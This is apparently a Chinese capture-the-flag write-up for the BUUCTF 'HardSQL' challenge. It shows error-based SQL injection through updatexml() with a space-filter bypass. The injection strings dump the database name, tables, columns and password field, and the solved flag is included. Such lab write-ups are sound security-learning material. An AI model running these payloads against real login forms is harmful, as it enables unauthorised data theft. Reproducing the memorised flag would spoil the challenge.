[极客大挑战 2019]HardSQL1 BUUCTF 做题记录
输入用户名和密码,使用常见的注入语句,被拦了
联合查询也被拦,感觉是有黑名单了,常见的语句关键词都被拦掉了,进burp爆破一下看看哪些还能用。
SQL字典地址d6dcb-代码预览-SQL注入fuzz字典介绍:基于网络安全的SQL注入fuzz字典项目 - AtomGit | GitCode
通过观察返回内容发现只有返回长度804的没有被屏蔽
还有一个比较别致的1031,打开Response看一下
诶嘿,这里报错了,那应该可以通过报错来进行注入?
其实到这里知识储备就不够了,去看了别人的wp,发现确实是通过报错泄露表明等信息,使用的函数主要是两个
extractvalue()和updatexml()
UPDATEXML(xml_target, xpath_expr, new_value)
| 参数 | 名称 | 含义 | 类型要求 |
|---|---|---|---|
| 第一个 | xml_target | 要被修改的XML文档(字符串形式) | 合法的XML片段 |
| 第二个 | xpath_expr | XPath表达式,用于定位要修改的节点 | 合法的XPath路径 |
| 第三个 | new_value | 替换后的新值(字符串) | 任意字符串 |
EXTRACTVALUE(xml_fragment, xpath_expression)
| 参数 | 名称 | 含义 |
|---|---|---|
| 第一个 | xml_fragment | 一个XML 格式的字符串。函数会解析这个字符串作为 XML 文档。 |
| 第二个 | xpath_expression | XPath 表达式,用于定位要提取的节点。格式需符合 XPath 语法,例如/root/child、//item等。 |
一个正确的函数调用格式为
<book> <title>SQL入门</title> <price>59.0</price> </book> -- 示例1:将价格改为 99.0 sql SELECT UPDATEXML( '<book><title>SQL入门</title><price>59.0</price></book>', '/book/price', '99.0' );如果我们这样构造一个username
admin'^updatexml(1,concat(0x7e,database(),0x7e))#这里0x7e的作用是让它报错,否则可能格式对了就不报错了
(经过主包多次尝试发现空格被过滤了......)成功爆出数据库名
然后爆表名
1'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1)#字段名
1'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)#爆字段,猜测在password里
1'^updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1)#只爆出来一半,加个right函数再爆另一半
1'^updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),30),0x7e),1)#拼接一下得到flag
flag{79316be2-abe3-414a-8c5e-b6fa7444de2f}
